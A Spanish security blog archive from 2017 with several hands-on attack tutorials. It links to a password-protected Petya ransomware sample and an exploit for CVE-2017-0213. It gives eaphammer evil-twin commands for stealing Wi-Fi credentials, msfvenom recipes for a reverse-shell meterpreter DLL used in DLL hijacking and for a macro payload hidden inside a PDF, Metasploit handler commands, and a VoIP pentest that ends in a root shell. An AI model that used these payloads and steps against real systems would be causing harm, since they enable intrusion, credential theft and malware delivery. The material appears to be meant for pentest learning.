miércoles, 28 de junio de 2017

Ransomware Petya (CVE-2017-0199 y MS17-010)

 

Descripción:

Ante la campaña de ransomware detectada esta mañana, que afecta a sistemas Windows, el CCN-CERT señala que, en este caso, sí es necesaria la interacción del usuario a través de un vector de infección, probablemente basado en el correo electrónico (spear-phishing).

El ataque recibido en el e-mail puede explotar alguna vulnerabilidad de Microsoft Office que, según diversas investigaciones podría ser la CVE-2017-0199. Seguidamente se propagaría a través de infecciones en las carpetas compartidas en la red de la Organización afectada.  Además, intenta utilizar las vías de infección del exploit que aprovecha la vulnerabilidad de Microsoft MS 17-010. En el caso de que el sistema estuviera parcheado ante esta vulnerabilidad, el malware utiliza una alternativa basada en la ejecución de la aplicación propietaria del sistema Windows “Psexec” en carpetas compartidas sobre el sistema víctima.

En las pruebas realizadas en sistemas Windows 10 con privilegios de administrador, el código dañino es detectado y bloqueado por Windows Defender.

Descarga sample:

https://yadi.sk/d/QT0l_AYg3KXCqc 

Pass: virus

Recomendaciones:

- El CCN-CERT recomienda la actualización a los últimos parches de seguridad de Office y de Windows.
- Extremar las precauciones para evitar acceder a correos o enlaces no legítimos. Además, se recomienda deshabilitar la ejecución remota de código.

Reglas para SNORT: 

martes, 27 de junio de 2017

BUSCA Y DESCARGA EXPLOITS con GETSPLOIT

 

Descripción:

Se trata de una herramienta de línea de comandos escrita en python, que permite la búsqueda y descarga de exploits de las fuentes más populares como: Exploit-DBMetasploitPacketstorm y otras. La característica más chula de esta herramienta es la inmediata descarga de los exploits.

PoC:

Descargaremos el repositorio y lo ejecutaremos, he probado a buscar exploits para la versión 4.7.0 de Wordpress.

# git clone https://github.com/vulnersCom/getsploit
# cd getsploit
# python getsploit.py wordpress 4.7.0

Para descargar todos los exploits simplemente ponemos el parámetro -m
# python getsploit.py -m wordpress 4.7.0


Por último, podemos actualizar la lista de exploits con:
# python getsploit.py -u
Como siempre os dejo el link del proyecto: https://github.com/vulnersCom/getsploit

lunes, 12 de junio de 2017

PENTESTING A FPBX-2.8.1 Elastix Server VoIP

Comenzamos el pentesting haciendo un escaneo de puertos con NMAP, vemos que el host tiene el puerto 443 abierto, esto indica un servicio ssl/http, entramos con el navegador y vemos un panel de login, en el icono aparece el símbolo de ELASTIX, señal casi irrefutable de hay un servicio de VoIP.


Usaremos la suite de herramientas sipvicious que nos permitirá auditar sistemas de VoIP. Para saber los dispositivos SIP que hay en la red usaremos la herramienta svmap.py.

SIP es un protocolo de control de capa de aplicación que puede establecer, modificar y finalizar sesiones multimedia (conferencias) como llamadas de telefonía por Internet. SIP también puede invitar a los participantes a sesiones ya existentes, como las conferencias de multidifusión.
Los clientes SIP normalmente utilizan TCP o UDP en los números de puerto 5060 y / o 5061 para conectarse a servidores SIP y otros puntos finales SIP. El puerto 5060 se utiliza comúnmente para tráfico de señalización no cifrado, mientras que el puerto 5061 se usa típicamente para tráfico cifrado con TLS. SIP se utiliza principalmente en la configuración y destrucción de llamadas de voz o video.
Gracias a esa herramienta obtrendremos la versión de Free PBX/Elastix. A continuación, necesitamos encontrar extensiones válidas, para ello hacemos uso de la herramienta svwar.py

 
La opción -D permite escanear las extensiones predeterminadas y la opción -m especifica un método de solicitud (INVITE indica que un cliente está siendo invitado a participar en una sesión de llamada)

Una vez sabemos la versión y las extensiones válidas, vamos a buscar un exploit, usamos la herramienta searchsploit, con ella encontramos una vulnerabilidad de Remote Code Execution en la aplicación, configuramos el archivo en python para que se adecue a nuestras necesitades.


Abrimos un listener con netcat y ejecutamos el archivo en python del exploit. Nos hacemos root gracias a nmap.


En este caso, el archivo sudoers contiene una entrada para el usuario de asterisk que le permite ejecutar el comando sudo sin introducir una contraseña.

 Contenido del archivo /etc/sudoers

Para los interesados en la seguridad de VoIP:
https://www.amazon.com/Hacking-Exposed-VoIP-Security-Solutions/dp/0072263644
https://www.amazon.com/Hacking-VoIP-Protocols-Attacks-Countermeasures/dp/1593271638

viernes, 9 de junio de 2017

CVE-2017-0213 Windows COM ELEVATION OF PRIVILEGE [Windows 10/8.1/7/Server]


Descripción:

Existe una elevación de privilegios en Windows COM Aggregate Marshaler. Un atacante que explotara con éxito la vulnerabilidad podría ejecutar código arbitrario con privilegios elevados. Para aprovechar la vulnerabilidad, un atacante podría ejecutar una aplicación especialmente diseñada que podría explotar la vulnerabilidad. Esta vulnerabilidad por sí misma no permite que se ejecute código arbitrario. Sin embargo, esta vulnerabilidad podría utilizarse junto con una o más vulnerabilidades (por ejemplo, una vulnerabilidad de ejecución remota de código y otra elevación de privilegios) que podrían aprovechar los privilegios elevados al ejecutarlo. La actualización CVE-2017-0213 corrige la vulnerabilidad al corregir la forma en que Windows COM Marshaler procesa Solicitudes de interfaz.

Versiones vulnerables:

 

Links para más información:

https://nvd.nist.gov/vuln/detail/CVE-2017-0213
https://www.exploit-db.com/exploits/42020/
https://bugs.chromium.org/p/project-zero/issues/detail?id=1107
http://blog.talosintelligence.com/2017/05/ms-tuesday.html

Exploit:

https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213

PoC:



Ejecutar el PoC desde un directorio que pueda ser escrito por el usuario actual.


Solución:

Actualizar


miércoles, 7 de junio de 2017

EVIL TWIN ATTACK con eaphammer

 

Descripción:

Un ataque de evil twin consiste en crear un punto de acceso fraudulento Wi-Fi que parece ser legítimo, creado para espiar las comunicaciones inalámbricas.

Este tipo de ataque puede ser utilizado para robar las contraseñas de los usuarios desprevenidos, ya sea mediante el control de sus conexiones o mediante phishing, que consiste en la creación de una página web fraudulenta y atraer a la gente allí. 


Ejemplo de web fraudulenta para conseguir contraseñas de acceso a la red

El funcionamiento de este tipo de ataques es sencillo, se clona el punto de acceso que queramos dejándolo sin contraseña, se desautenticará a los usuarios conectados al punto de acceso legítimo para que se contecten automáticamente al nuestro, cuando abran el navegador e intenten por ejemplo ir a google, irán a la página web fraudulenta, una vez ponga la contraseña esta es verificada y si es la correcta finalizará el ataque.

 

PoC:

En mi caso yo usaré Kali Linux, si usas otra distribución te aconsejo que vayas al proyecto a mirar la documentación: https://github.com/s0lst1c3/eaphammer
If you are not using Kali, you can still compile eaphammer. I just haven't written a setup script for your distro yet, which means you'll have to do it manually
$ git clone https://github.com/s0lst1c3/eaphammer
$ python kali-setup.py install

Una vez instalado creamos un certificado:
$ ./eaphammer --cert-wizard

Y lanzamos el ataque (Depende de lo que queramos):
.$ /eaphammer -i wlan0 --channel 4 --auth ttls --wpa 2 --essid CorpWifi --creds
o
$  ./eaphammer -i wlan0 --essid TotallyLegit --channel 1 --hostile-portal

lunes, 5 de junio de 2017

DLL HIJACKING

 

Descripción:

Las DLL son el método usado por Windows para compartir funciones entre aplicaciones.

La DLL contiene tres funciones, la aplicación coge la funcion DLLMAIN()

La vulnerabilidad DLL Hijacking consiste (De una manera resumida) en suplantar una DLL, que una aplicación intenta cargar, por código malicioso.
 Tenemos un exe que carga esas tres dll, una de ellas no es la original

Podemos saber que DLL está usando un programa gracias a la herramienta Process Monitor y a sus filtros:

También podemos añadir Process Name is <Nombre Aplicacion que estamos testeando>

PoC:

El primer paso será ver que DLL podemos cambiar, para ello como se mencionó antes haremos uso de procmon, en mi caso seleccionare una DLL que usa la aplicación pcsx2.exe

Pone NAME NOT FOUND porque intentó buscar la dll en la ruta y no la encontró, así que simplemente tendremos que colocar nuestra dll maliciosa en esa ruta.

El segundo paso será crear una DLL maliciosa con metasploit, para ello introduciremos el siguiente comando:
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=<IPLOCAL> lport=<PUERTO> -f dll > /root/Desktop/dwmapi.dll

Y ponemos a la escucha nuestro handler:
$ msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT 8080; run;"

Una vez generada añadiremos la DLL que usa el programa pcsx2.exe en la ruta donde la va a buscar.


Y al ejecutar la aplicación pcsx2.exe nos abrirá una sesión meterpreter.


jueves, 25 de mayo de 2017

PDF DROPPER

 

Descripción:

En la actualidad, el formato PDF (Portable Document Format) de Adobe se utiliza con mucha frecuencia para intercambiar documentos digitales. Sin embargo, existen numerosas vulnerabilidades vinculadas a este formato de archivo. El sitio http://www.securityfocus.com recoge más de 150 CVE (Common Vulnerabilities and Exposures) para Acrobat Reader, el lector de PDF desarrollado por Adobe. Viendo lo extendido que está su uso y las vulnerabilidades que tiene, sin duda el PDF constituye una puerta de entrada a los sistemas. De este modo, los desarrolladores de malwares seleccionan, con frecuencia, este formato para difundir sus programas maliciosos.

Los usuarios empiezan a conocer los riesgos que corren si ejecutan archivos binarios desconocidos en su sistema operativo. Por el contrario, pocos son conscientes de que un documento PDF también puede ejecutar acciones maliciosas sobre sus máquinas. Los archivos en formato multimedia se utilizan, generalmente, sin prestar una especial precaución.

La mayoría de las vulnerabilidades sobre este formato se encuentran en el motor JavaScript presente en Acrobat Reader. En efecto, el formato PDF permite desarrollar código JavaScript incluso en el interior de un archivo para, por ejemplo, manipular automáticamente los formularios. Estas funcionalidades las utilizan algunas administraciones para simplificar la gestión de los formularios y de los informes.

En el caso de un archivo PDF, la primera etapa del análisis consiste en recuperar el código JavaScript sospechoso. La segunda etapa consistirá en comprender este código.

PoC:

Comenzamos por crear nuestra macro maliciosa para MS Word, para ello hacemos uso del payload  windows/meterpreter/reverse_tcp y del encoder shikata_ga_nai con 3 iteraciones:
$ msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 lhost=<IPLOCAL> lport=8080 -f vba-exe> /var/www/html/macro

Lo metí en la carpeta de apache para copiar el macro más rapido

Lo siguiente será abrir un documento en MS Word y añadir el código generado en VBS:

En el macro creado vendrán las instrucciones de como configurarlo todo

Embebemos el archivo Word en el PDF:
python make-pdf-embedded.py -m "Prueba" -a Doc1.docm prueba.pdf

make-pdf-embedded.py es una herramienta gratuita que se puede descargar aqui

Y ponemos a la escucha nuestro multi/handler:
$ msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT 8080; run;"

Al abrir el PDF (Necesaria aprobación por parte del usuario) nos preguntará si queremos abrir el documento, le damos a que sí y una vez lo haya abierto nos preguntará si queremos habilitar las macros, le damos a que sí.

 Aprobación por parte del usuario

Una vez habilitadas las macros del archivo Word nos abrirá una sesión meterpreter:


Para estar más seguros en el mundo os recomiendo este lector de pdf ya que no ejecuta código JS y además es muy liviano.

jueves, 18 de mayo de 2017

RAPTOR WAF (Web Application Firewall)


Descripción:

Raptor WAF es un firewall de aplicaciones web desarrollado en C, cuyo cometido es bloquear los ataques de SQLi, XSS y Path Traversal.

PoC:

Requisitos:
$ sudo apt-get install make

Clonamos el repositorio de Github, compilamos el programa y lo ejecutamos:

$ git clone https://github.com/CoolerVoid/raptor_waf
$ cd raptor_waf
$ make
$ bin/raptor
*Es importante que ejecutemos la herramienta desde la raíz (bin/raptor) ya que sino tendremos problemillas.

Un ejemplo de uso sería:

$ bin/Raptor -h 127.0.0.1 -p 80 -r 8080 -w 4 -o log.txt

* -h Para el host, -p para el puerto, -r para la redirección del puerto, -w para el nivel de protección, -o para la salida del log.

Para la PoC he usado DVWA
PoC XSS:


<script>alert("XSS")</script>


Como podéis ver en la siguiente captura se come el SQL injection (Me gustaría que probarais la herramienta y dejaseis en comentarios vuestros tests):